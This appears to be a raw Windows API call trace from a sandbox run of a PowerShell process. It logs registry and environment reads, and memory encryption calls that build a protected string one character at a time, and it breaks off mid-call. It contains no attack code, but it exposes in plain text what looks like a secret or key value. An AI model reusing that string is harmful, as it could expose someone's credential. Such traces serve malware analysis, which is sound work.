GetEnvironmentVariableW (in: lpName="PSMODULEPATH", lpBuffer=0x8e55850, nSize=0x105 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WindowsPowerShell\\Modules;C:\\Program Files (x86)\\WindowsPowerShell\\Modules;C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\") returned 0x9e [0121.873] CoTaskMemFree (pv=0x8e55850) [0121.877] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.Net\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Security\\v4.0_3.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Security.dll", nBufferLength=0x105, lpBuffer=0x99acbc0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\Microsoft.Net\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Security\\v4.0_3.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Security.dll", lpFilePart=0x0) returned 0x89 [0121.877] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.Net\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Security\\v4.0_3.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Security.dll", nBufferLength=0x105, lpBuffer=0x99acb00, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\Microsoft.Net\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Security\\v4.0_3.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Security.dll", lpFilePart=0x0) returned 0x89 [0121.877] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.Net\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Security\\v4.0_3.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Security.dll", nBufferLength=0x105, lpBuffer=0x99ac940, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\Microsoft.Net\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Security\\v4.0_3.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Security.dll", lpFilePart=0x0) returned 0x89 [0121.890] CoTaskMemAlloc (cb=0x20e) returned 0x8e53180 [0121.890] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x8e53180, nSize=0x105 | out: lpBuffer="") returned 0x0 [0121.890] CoTaskMemFree (pv=0x8e53180) [0121.970] ReportEventW (hEventLog=0x8b10004, wType=0x4, wCategory=0x6, dwEventID=0x258, lpUserSid=0x0, wNumStrings=0x3, dwDataSize=0x0, lpStrings=0x6b584f0*="Certificate", lpRawData=0x6b58418) returned 1 [0121.971] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\PowerShell\\3\\PowerShellEngine", ulOptions=0x0, samDesired=0x20019, phkResult=0x99adf1c | out: phkResult=0x99adf1c*=0x844) returned 0x0 [0121.971] RegQueryValueExW (in: hKey=0x844, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x99adf3c, lpData=0x0, lpcbData=0x99adf38*=0x0 | out: lpType=0x99adf3c*=0x1, lpData=0x0, lpcbData=0x99adf38*=0x56) returned 0x0 [0121.971] RegQueryValueExW (in: hKey=0x844, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x99adf3c, lpData=0x6b6df08, lpcbData=0x99adf38*=0x56 | out: lpType=0x99adf3c*=0x1, lpData="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0", lpcbData=0x99adf38*=0x56) returned 0x0 [0121.971] RegCloseKey (hKey=0x844) returned 0x0 [0121.972] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\PowerShell\\3\\PowerShellEngine", ulOptions=0x0, samDesired=0x20019, phkResult=0x99adf1c | out: phkResult=0x99adf1c*=0x844) returned 0x0 [0121.972] RegQueryValueExW (in: hKey=0x844, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x99adf3c, lpData=0x0, lpcbData=0x99adf38*=0x0 | out: lpType=0x99adf3c*=0x1, lpData=0x0, lpcbData=0x99adf38*=0x56) returned 0x0 [0121.972] RegQueryValueExW (in: hKey=0x844, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x99adf3c, lpData=0x6b6e22c, lpcbData=0x99adf38*=0x56 | out: lpType=0x99adf3c*=0x1, lpData="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0", lpcbData=0x99adf38*=0x56) returned 0x0 [0121.972] RegCloseKey (hKey=0x844) returned 0x0 [0121.972] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae0c8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae0c8*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x25, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0121.972] SetEvent (hEvent=0x870) returned 1 [0121.972] CoWaitForMultipleHandles (in: dwFlags=0x2, dwTimeout=0xffffffff, cHandles=0x1, pHandles=0x99ae2f8*=0x870, lpdwindex=0x99ae114 | out: lpdwindex=0x99ae114) returned 0x0 [0121.972] CoTaskMemAlloc (cb=0x20e) returned 0x8e53180 [0121.972] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x8e53180, nSize=0x105 | out: lpBuffer="file") returned 0x0 [0121.972] CoTaskMemFree (pv=0x8e53180) [0121.972] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x234, lpConsoleScreenBufferInfo=0x99ae3f0 | out: lpConsoleScreenBufferInfo=0x99ae3f0) returned 1 [0121.973] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x234, lpConsoleScreenBufferInfo=0x99ae3f0 | out: lpConsoleScreenBufferInfo=0x99ae3f0) returned 1 [0121.980] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae6c4*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae6c4*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x26, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0121.980] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae624*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae624*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x25, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0121.980] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae6b4*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x26, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae6b4*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x26, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0122.025] SystemFunction041 (in: Memory=0x8e5f29c, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e5f29c) returned 0x0 [0122.027] SysStringLen (param_1="?\\C:\\Win") returned 0x8 [0122.027] SysStringLen (param_1="f\\C:\\Win") returned 0x8 [0122.027] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0122.027] SysStringLen (param_1="\xc777\x7b19\x709a\xfda9\xa3b1\xd7f3\x7a7d\x1bd8") returned 0x8 [0122.027] SysStringLen (param_1="\xc777\x7b19\x709a\xfda9\xa3b1\xd7f3\x7a7d\x1bd8") returned 0x8 [0122.027] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0122.028] SysStringLen (param_1="fxC:\\Win") returned 0x8 [0122.028] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0122.028] SysStringLen (param_1="\x8531\xe36b\x322b\xab4d\x8bd4\x8b07\xf51a\xa886") returned 0x8 [0122.028] SysStringLen (param_1="\x8531\xe36b\x322b\xab4d\x8bd4\x8b07\xf51a\xa886") returned 0x8 [0122.028] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0122.028] SysStringLen (param_1="fxV:\\Win") returned 0x8 [0122.028] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0122.028] SysStringLen (param_1="\x4ff8\x67a0\x5434\x90da\x83ed\xd107\x1e65\xb61d") returned 0x8 [0122.028] SysStringLen (param_1="\x4ff8\x67a0\x5434\x90da\x83ed\xd107\x1e65\xb61d") returned 0x8 [0122.028] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0122.028] SysStringLen (param_1="fxV7\\Win") returned 0x8 [0122.028] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0122.028] SysStringLen (param_1="\x5c4f\x44c6\x6b11\x5b04\xc622\xe099\x5e46\x4565") returned 0x8 [0122.028] SysStringLen (param_1="\x5c4f\x44c6\x6b11\x5b04\xc622\xe099\x5e46\x4565") returned 0x8 [0122.028] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0122.028] SysStringLen (param_1="fxV7EWin") returned 0x8 [0122.028] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0122.028] SysStringLen (param_1="\xd00\x32f8\x96af\xca24\x94dd\xf349\x6bb3\x84e1") returned 0x8 [0122.028] SysStringLen (param_1="\xd00\x32f8\x96af\xca24\x94dd\xf349\x6bb3\x84e1") returned 0x8 [0122.028] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0122.029] SysStringLen (param_1="fxV7EFin") returned 0x8 [0122.029] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0122.029] SysStringLen (param_1="\x9eb\x8fb6\x6330\xb4a3\x86df\xa586\x7abe\xde2f") returned 0x8 [0122.029] SysStringLen (param_1="\x9eb\x8fb6\x6330\xb4a3\x86df\xa586\x7abe\xde2f") returned 0x8 [0122.029] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0122.029] SysStringLen (param_1="fxV7EFVn") returned 0x8 [0122.029] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0122.029] SysStringLen (param_1="\xe281\x2330\xa4f8\x1a4d\x529b\xae1d\x12df\xfb0c") returned 0x8 [0122.029] SysStringLen (param_1="\xe281\x2330\xa4f8\x1a4d\x529b\xae1d\x12df\xfb0c") returned 0x8 [0122.029] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0122.029] SysStringLen (param_1="fxV7EFVU") returned 0x8 [0122.029] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0122.029] SysStringLen (param_1="\xcf83\x38e0\xf4c1\xd361\xa561\x3382\xde05\xa2b8") returned 0x8 [0122.046] SysStringLen (param_1="\xcf83\x38e0\xf4c1\xd361\xa561\x3382\xde05\xa2b8") returned 0x8 [0122.046] SysStringLen (param_1="\xcf83\x38e0\xf4c1\xd361\xa561\x3382\xde05\xa2b8") returned 0x8 [0122.046] SysStringLen (param_1="\xcf83\x38e0\xf4c1\xd361\xa561\x3382\xde05\xa2b8") returned 0x10 [0122.046] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0122.046] SysStringLen (param_1="fxV7EFVUF㣊螉퉧憡✗鯾鉫") returned 0x10 [0122.046] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0122.046] SysStringLen (param_1="\xcf83\x38e0\xf4c1\xd361\xa561\x3382\xde05\xa2b8\x8e9e\x994\x46c\xa7b6\xb97\x5f6f\x3602\x46db") returned 0x10 [0122.046] SysStringLen (param_1="\xcf83\x38e0\xf4c1\xd361\xa561\x3382\xde05\xa2b8\x8e9e\x994\x46c\xa7b6\xb97\x5f6f\x3602\x46db") returned 0x10 [0122.046] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0122.046] SysStringLen (param_1="fxV7EFVUFZ螉퉧憡✗鯾鉫") returned 0x10 [0122.046] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0122.046] SysStringLen (param_1="\xcf83\x38e0\xf4c1\xd361\xa561\x3382\xde05\xa2b8\xd9a7\xad56\xfc69\x6774\xa36b\x141a\x95c8\xea3c") returned 0x10 [0122.046] SysStringLen (param_1="\xcf83\x38e0\xf4c1\xd361\xa561\x3382\xde05\xa2b8\xd9a7\xad56\xfc69\x6774\xa36b\x141a\x95c8\xea3c") returned 0x10 [0122.046] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0122.046] SysStringLen (param_1="fxV7EFVUFZj퉧憡✗鯾鉫") returned 0x10 [0122.046] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0122.046] SysStringLen (param_1="\xcf83\x38e0\xf4c1\xd361\xa561\x3382\xde05\xa2b8\xc3c0\x9d38\x97ee\x5ce0\xf3\xfb94\x2bce\xe3d7") returned 0x10 [0122.046] SysStringLen (param_1="\xcf83\x38e0\xf4c1\xd361\xa561\x3382\xde05\xa2b8\xc3c0\x9d38\x97ee\x5ce0\xf3\xfb94\x2bce\xe3d7") returned 0x10 [0122.046] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0122.046] SysStringLen (param_1="fxV7EFVUFZj2憡✗鯾鉫") returned 0x10 [0122.046] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0122.047] SysStringLen (param_1="\xcf83\x38e0\xf4c1\xd361\xa561\x3382\xde05\xa2b8\x7e2a\xd048\xdfb2\x999\x316f\x94d3\x264a\x3e25") returned 0x10 [0122.047] SysStringLen (param_1="\xcf83\x38e0\xf4c1\xd361\xa561\x3382\xde05\xa2b8\x7e2a\xd048\xdfb2\x999\x316f\x94d3\x264a\x3e25") returned 0x10 [0122.047] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0122.047] SysStringLen (param_1="fxV7EFVUFZj2O✗鯾鉫") returned 0x10 [0122.047] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0122.047] SysStringLen (param_1="\xcf83\x38e0\xf4c1\xd361\xa561\x3382\xde05\xa2b8\xcc46\x4799\x5665\x4c98\xc39d\xe1cb\x3056\x8124") returned 0x10 [0122.047] SysStringLen (param_1="\xcf83\x38e0\xf4c1\xd361\xa561\x3382\xde05\xa2b8\xcc46\x4799\x5665\x4c98\xc39d\xe1cb\x3056\x8124") returned 0x10 [0122.047] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0122.047] SysStringLen (param_1="fxV7EFVUFZj2O8鯾鉫") returned 0x10 [0122.047] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0122.047] SysStringLen (param_1="\xcf83\x38e0\xf4c1\xd361\xa561\x3382\xde05\xa2b8\xb4d2\x165e\xff90\x5378\x942f\xc175\x4311\xb657") returned 0x10 [0122.047] SysStringLen (param_1="\xcf83\x38e0\xf4c1\xd361\xa561\x3382\xde05\xa2b8\xb4d2\x165e\xff90\x5378\x942f\xc175\x4311\xb657") returned 0x10 [0122.047] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0122.047] SysStringLen (param_1="fxV7EFVUFZj2O8Q鉫") returned 0x10 [0122.047] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0122.047] SysStringLen (param_1="\xcf83\x38e0\xf4c1\xd361\xa561\x3382\xde05\xa2b8\xc561\x3633\xfcd6\x9128\x33c8\x48fe\x5f8c\xd62") returned 0x10 [0122.047] SysStringLen (param_1="\xcf83\x38e0\xf4c1\xd361\xa561\x3382\xde05\xa2b8\xc561\x3633\xfcd6\x9128\x33c8\x48fe\x5f8c\xd62") returned 0x10 [0122.047] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0122.047] SysStringLen (param_1="fxV7EFVUFZj2O8QC") returned 0x10 [0122.047] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0122.047] SysStringLen (param_1="\xcf83\x38e0\xf4c1\xd361\xa561\x3382\xde05\xa2b8\x8c5b\x5e04\xde71\x57df\x7464\xe75b\x1fba\x6f4f") returned 0x10 [0122.047] SysStringLen (param_1="\xcf83\x38e0\xf4c1\xd361\xa561\x3382\xde05\xa2b8\x8c5b\x5e04\xde71\x57df\x7464\xe75b\x1fba\x6f4f") returned 0x10 [0122.048] SysStringLen (param_1="\xcf83\x38e0\xf4c1\xd361\xa561\x3382\xde05\xa2b8\x8c5b\x5e04\xde71\x57df\x7464\xe75b\x1fba\x6f4f") returned 0x10 [0122.048] SysStringLen (param_1="\xcf83\x38e0\xf4c1\xd361\xa561\x3382\xde05\xa2b8\x8c5b\x5e04\xde71\x57df\x7464\xe75b\x1fba\x6f4f\x74\x65\x6d\x33\x32\x5c\x57\x62") returned 0x18 [0122.048] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0122.048] SysStringLen (param_1="fxV7EFVUFZj2O8QC4挰쒢ጬ㱝틍") returned 0x18 [0122.048] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0122.048] SysStringLen (param_1="\xcf83\x38e0\xf4c1\xd361\xa561\x3382\xde05\xa2b8\x8c5b\x5e04\xde71\x57df\x7464\xe75b\x1fba\x6f4f\x3545\x7655\xd720\xce76\xcb7f\x9a30\x2298\x6146") returned 0x18 [0122.048] SysStringLen (param_1="\xcf83\x38e0\xf4c1\xd361\xa561\x3382\xde05\xa2b8\x8c5b\x5e04\xde71\x57df\x7464\xe75b\x1fba\x6f4f\x3545\x7655\xd720\xce76\xcb7f\x9a30\x2298\x6146") returned 0x18 [0122.048] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0122.048] SysStringLen (param_1="fxV7EFVUFZj2O8QC4J쒢ጬ㱝틍") returned 0x18 [0122.048] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0122.048] SysStringLen (param_1="\xcf83\x38e0\xf4c1\xd361\xa561\x3382\xde05\xa2b8\x8c5b\x5e04\xde71\x57df\x7464\xe75b\x1fba\x6f4f\x17d2\xb5c9\x54cc\x12e1\xb0b2\xff4e\xc016\x10a6") returned 0x18 [0122.048] SysStringLen (param_1="\xcf83\x38e0\xf4c1\xd361\xa561\x3382\xde05\xa2b8\x8c5b\x5e04\xde71\x57df\x7464\xe75b\x1fba\x6f4f\x17d2\xb5c9\x54cc\x12e1\xb0b2\xff4e\xc016\x10a6") returned 0x18 [0122.048] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0122.048] SysStringLen (param_1="fxV7EFVUFZj2O8QC4Jp쒢ጬ㱝틍") returned 0x18 [0122.048] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0122.048] SysStringLen (param_1="\xcf83\x38e0\xf4c1\xd361\xa561\x3382\xde05\xa2b8\x8c5b\x5e04\xde71\x57df\x7464\xe75b\x1fba\x6f4f\x73aa\x8397\xbeb6\x6eba\xc57e\x9cbe\x1e80\xae1") returned 0x18 [0122.048] SysStringLen (param_1="\xcf83\x38e0\xf4c1\xd361\xa561\x3382\xde05\xa2b8\x8c5b\x5e04\xde71\x57df\x7464\xe75b\x1fba\x6f4f\x73aa\x8397\xbeb6\x6eba\xc57e\x9cbe\x1e80\xae1") returned 0x18 [0122.048] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0122.048] SysStringLen (param_1="fxV7EFVUFZj2O8QC4Jp9ጬ㱝틍") returned 0x18 [0122.048] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0122.048] SysStringLen (param_1="\xcf83\x38e0\xf4c1\xd361\xa561\x3382\xde05\xa2b8\x8c5b\x5e04\xde71\x57df\x7464\xe75b\x1fba\x6f4f\xe26f\xa1fe\x976f\xd98\x8485\x2056\x956b\xbd97") returned 0x18 [0122.048] SysStringLen (param_1="\xcf83\x38e0\xf4c1\xd361\xa561\x3382\xde05\xa2b8\x8c5b\x5e04\xde71\x57df\x7464\xe75b\x1fba\x6f4f\xe26f\xa1fe\x976f\xd98\x8485\x2056\x956b\xbd97") returned 0x18 [0122.048] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0122.049] SysStringLen (param_1="fxV7EFVUFZj2O8QC4Jp92ጬ㱝틍") returned 0x18 [0122.049] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0122.049] SysStringLen (param_1="\xcf83\x38e0\xf4c1\xd361\xa561\x3382\xde05\xa2b8\x8c5b\x5e04\xde71\x57df\x7464\xe75b\x1fba\x6f4f\x668\x1b88\x9ced\xec37\x51f0\x2a6a\xab4e\x3c6b") returned 0x18 [0122.049] SysStringLen (param_1="\xcf83\x38e0\xf4c1\xd361\xa561\x3382\xde05\xa2b8\x8c5b\x5e04\xde71\x57df\x7464\xe75b\x1fba\x6f4f\x668\x1b88\x9ced\xec37\x51f0\x2a6a\xab4e\x3c6b") returned 0x18 [0122.049] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0122.049] SysStringLen (param_1="fxV7EFVUFZj2O8QC4Jp92g㱝틍") returned 0x18 [0122.049] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0122.049] SysStringLen (param_1="\xcf83\x38e0\xf4c1\xd361\xa561\x3382\xde05\xa2b8\x8c5b\x5e04\xde71\x57df\x7464\xe75b\x1fba\x6f4f\xe6c7\xa820\xb682\x9c27\x5519\xb244\x6c6f\x5ce9") returned 0x18 [0122.049] SysStringLen (param_1="\xcf83\x38e0\xf4c1\xd361\xa561\x3382\xde05\xa2b8\x8c5b\x5e04\xde71\x57df\x7464\xe75b\x1fba\x6f4f\xe6c7\xa820\xb682\x9c27\x5519\xb244\x6c6f\x5ce9") returned 0x18 [0122.049] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0122.049] SysStringLen (param_1="fxV7EFVUFZj2O8QC4Jp92gC틍") returned 0x18 [0122.049] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0122.049] SysStringLen (param_1="\xcf83\x38e0\xf4c1\xd361\xa561\x3382\xde05\xa2b8\x8c5b\x5e04\xde71\x57df\x7464\xe75b\x1fba\x6f4f\x645\x6c7\xb844\x7331\xc24e\x168a\xea84\xa071") returned 0x18 [0122.049] SysStringLen (param_1="\xcf83\x38e0\xf4c1\xd361\xa561\x3382\xde05\xa2b8\x8c5b\x5e04\xde71\x57df\x7464\xe75b\x1fba\x6f4f\x645\x6c7\xb844\x7331\xc24e\x168a\xea84\xa071") returned 0x18 [0122.049] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0122.049] SysStringLen (param_1="fxV7EFVUFZj2O8QC4Jp92gCv") returned 0x18 [0122.049] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0122.049] SysStringLen (param_1="\xcf83\x38e0\xf4c1\xd361\xa561\x3382\xde05\xa2b8\x8c5b\x5e04\xde71\x57df\x7464\xe75b\x1fba\x6f4f\x9d73\xf242\xaf4a\x179f\xca7b\xb4ba\xe16f\x5e6c") returned 0x18 [0122.049] SysStringLen (param_1="\xcf83\x38e0\xf4c1\xd361\xa561\x3382\xde05\xa2b8\x8c5b\x5e04\xde71\x57df\x7464\xe75b\x1fba\x6f4f\x9d73\xf242\xaf4a\x179f\xca7b\xb4ba\xe16f\x5e6c") returned 0x18 [0122.049] SysStringLen (param_1="\xcf83\x38e0\xf4c1\xd361\xa561\x3382\xde05\xa2b8\x8c5b\x5e04\xde71\x57df\x7464\xe75b\x1fba\x6f4f\x9d73\xf242\xaf4a\x179f\xca7b\xb4ba\xe16f\x5e6c") returned 0x18 [0122.049] SysStringLen (param_1="\xcf83\x38e0\xf4c1\xd361\xa561\x3382\xde05\xa2b8\x8c5b\x5e04\xde71\x57df\x7464\xe75b\x1fba\x6f4f\x9d73\xf242\xaf4a\x179f\xca7b\xb4ba\xe16f\x5e6c") returned 0x20 [0122.049] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0122.050] SysStringLen (param_1="fxV7EFVUFZj2O8QC4Jp92gCvsᚙົꀯ꒔溿") returned 0x20 [0122.050] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0122.050] SysStringLen (param_1="\xcf83\x38e0\xf4c1\xd361\xa561\x3382\xde05\xa2b8\x8c5b\x5e04\xde71\x57df\x7464\xe75b\x1fba\x6f4f\x9d73\xf242\xaf4a\x179f\xca7b\xb4ba\xe16f\x5e6c\xb711\x3d94\xf730\x32bd\x8058\xe702\xcf0b\xa18c") returned 0x20 [0122.050] SysStringLen (param_1="\xcf83\x38e0\xf4c1\xd361\xa561\x3382\xde05\xa2b8\x8c5b\x5e04\xde71\x57df\x7464\xe75b\x1fba\x6f4f\x9d73\xf242\xaf4a\x179f\xca7b\xb4ba\xe16f\x5e6c\xb711\x3d94\xf730\x32bd\x8058\xe702\xcf0b\xa18c") returned 0x20 [0122.050] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0122.050] SysStringLen (param_1="fxV7EFVUFZj2O8QC4Jp92gCvsjᚙົꀯ꒔溿") returned 0x20 [0122.050] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0122.050] SysStringLen (param_1="\xcf83\x38e0\xf4c1\xd361\xa561\x3382\xde05\xa2b8\x8c5b\x5e04\xde71\x57df\x7464\xe75b\x1fba\x6f4f\x9d73\xf242\xaf4a\x179f\xca7b\xb4ba\xe16f\x5e6c\xbed3\xcd31\x5f1\x56f2\xf047\xb35a\xa93b\xc5d5") returned 0x20 [0122.050] SysStringLen (param_1="\xcf83\x38e0\xf4c1\xd361\xa561\x3382\xde05\xa2b8\x8c5b\x5e04\xde71\x57df\x7464\xe75b\x1fba\x6f4f\x9d73\xf242\xaf4a\x179f\xca7b\xb4ba\xe16f\x5e6c\xbed3\xcd31\x5f1\x56f2\xf047\xb35a\xa93b\xc5d5") returned 0x20 [0122.050] SystemFunction041 (in: 